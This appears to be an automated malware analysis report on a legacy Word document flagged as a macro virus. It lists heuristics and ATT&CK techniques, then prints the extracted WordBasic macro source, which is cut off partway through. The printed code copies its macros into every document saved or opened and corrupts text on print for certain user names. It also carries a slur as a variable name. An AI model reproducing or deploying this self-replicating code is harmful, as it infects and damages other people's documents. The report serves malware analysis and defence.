MALICIOUS
88
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Microsoft Word document containing a WordBasic macro. The macro is triggered by the 'AutoOpen' function and is designed to copy itself to other documents, indicating a propagation mechanism. The presence of 'FileSaveAs' and other macro names suggests an attempt to infect templates or other documents, likely to spread the malware.
Heuristics 4
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 27503 bytes |
SHA-256: f1822205ebe1ca797b6aa70192ceec41c98064b6e3616296666bbf028667312d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "FileSaveAs"
Public Sub MAIN()
Dim Counter
Dim bAutoOpen
Dim i
Dim Macro$
Dim bFileOpen
Dim bFileSaveAs
Dim bFilePrint
Dim bAutoExec
Dim bWordDE
Dim CurDir_$
Dim FakeDoc$
Dim pos
Dim MacroFile$
Counter = WordBasic.CountMacros(1, 0, 0)
If Counter = 0 Then
bAutoOpen = 0
Else
For i = 1 To Counter
Macro$ = WordBasic.[MacroName$](i, 1, 0)
If Macro$ = "AutoOpen" Then bAutoOpen = -1
If Macro$ = "FileOpen" Then bFileOpen = -1
If Macro$ = "FileSaveAs" Then bFileSaveAs = -1
If Macro$ = "FilePrint" Then bFilePrint = -1
If Macro$ = "AutoExec" Then bAutoExec = -1
If Macro$ = "WordDE" Then bWordDE = -1
Next i
End If
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Fail
CurDir_$ = WordBasic.[DefaultDir$](14)
WordBasic.ChDefaultDir CurDir_$, 2
WordBasic.Dialog.FileSaveAs dlg
FakeDoc$ = dlg.Name
If WordBasic.[Right$](FakeDoc$, 3) = "dot" Then
pos = InStr(FakeDoc$, ".")
FakeDoc$ = WordBasic.[Left$](FakeDoc$, pos) + "doc"
dlg.Name = FakeDoc$
End If
If bAutoOpen And bFilePrint And bFileOpen And bAutoExec And bWordDE _
And bFileSaveAs Then
WordBasic.FileSaveAs dlg
Else
dlg.Format = 1
WordBasic.FileSaveAs dlg
MacroFile$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "WordSU", MacroFile$ + ":AutoOpen", 1
WordBasic.MacroCopy "FileOpen", MacroFile$ + ":FileOpen", 1
WordBasic.MacroCopy "FilePrint", MacroFile$ + ":FilePrint", 1
WordBasic.MacroCopy "FileSaveAs", MacroFile$ + ":FileSaveAs", 1
WordBasic.MacroCopy "AutoExec", MacroFile$ + ":AutoExec", 1
WordBasic.MacroCopy "WordDE", MacroFile$ + ":WordDE", 1
WordBasic.FileSave
End If
Fail:
End Sub
Attribute VB_Name = "FilePrint"
Public Sub MAIN()
Dim Id$
Dim i
Dim Gay
Dim lox As Object: Set lox = WordBasic.DialogRecord.HelpAbout(False)
WordBasic.CurValues.HelpAbout lox
Id$ = LCase(lox.APPUSERNAME)
ReDim Lox___$(5)
Lox___$(0) = "386"
Lox___$(1) = "gay"
Lox___$(2) = "gaj"
Lox___$(3) = "ãàÿ"
Lox___$(4) = "rus"
i = 0
While i < 5
If InStr(1, Id$, Lox___$(i)) <> 0 Then Gay = -1
i = i + 1
Wend
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FilePrint(False)
On Error GoTo -1: On Error GoTo Reject
WordBasic.CurValues.FilePrint dlg
WordBasic.Dialog.FilePrint dlg
If WordBasic.Second(WordBasic.Now()) > 40 And Gay Then
WordBasic.EditReplace Find:="ÿ", Replace:="ìíÿ", ReplaceAll:=1
End If
WordBasic.FilePrint dlg
Reject:
End Sub
Attribute VB_Name = "FileOpen"
Public Sub MAIN()
Dim Counter
Dim bAutoOpen
Dim i
Dim Macro$
Dim bFileOpen
Dim bFilePrint
Dim bFileSaveAs
Dim bAutoExec
Dim bWordDE
Dim MacroFile$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo Fail
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
Counter = WordBasic.CountMacros(1, 0, 0)
If Counter = 0 Then
bAutoOpen = 0
Else
For i = 1 To Counter
Macro$ = WordBasic.[MacroName$](i, 1, 0)
If Macro$ = "AutoOpen" Then bAutoOpen = -1
If Macro$ = "FileOpen" Then bFileOpen = -1
If Macro$ = "FilePrint" Then bFilePrint = -1
If Macro$ = "FileSaveAs" Then bFileSaveAs = -1
If Macro$ = "AutoExec" Then bAutoExec = -1
If Macro$ = "WordDE" Then bWordDE = -1
Next i
End If
If bAutoOpen And bFileOpen And bFilePrint And bFileSaveAs _
And bAutoExec And bWordDE Then
Else
MacroFile$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "WordSU", MacroFile$ + ":AutoOpen", 1
WordBasic.MacroCopy "FileOpen", MacroFile$ + ":FileOpen", 1
WordBasic.MacroCopy "FilePrint",
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.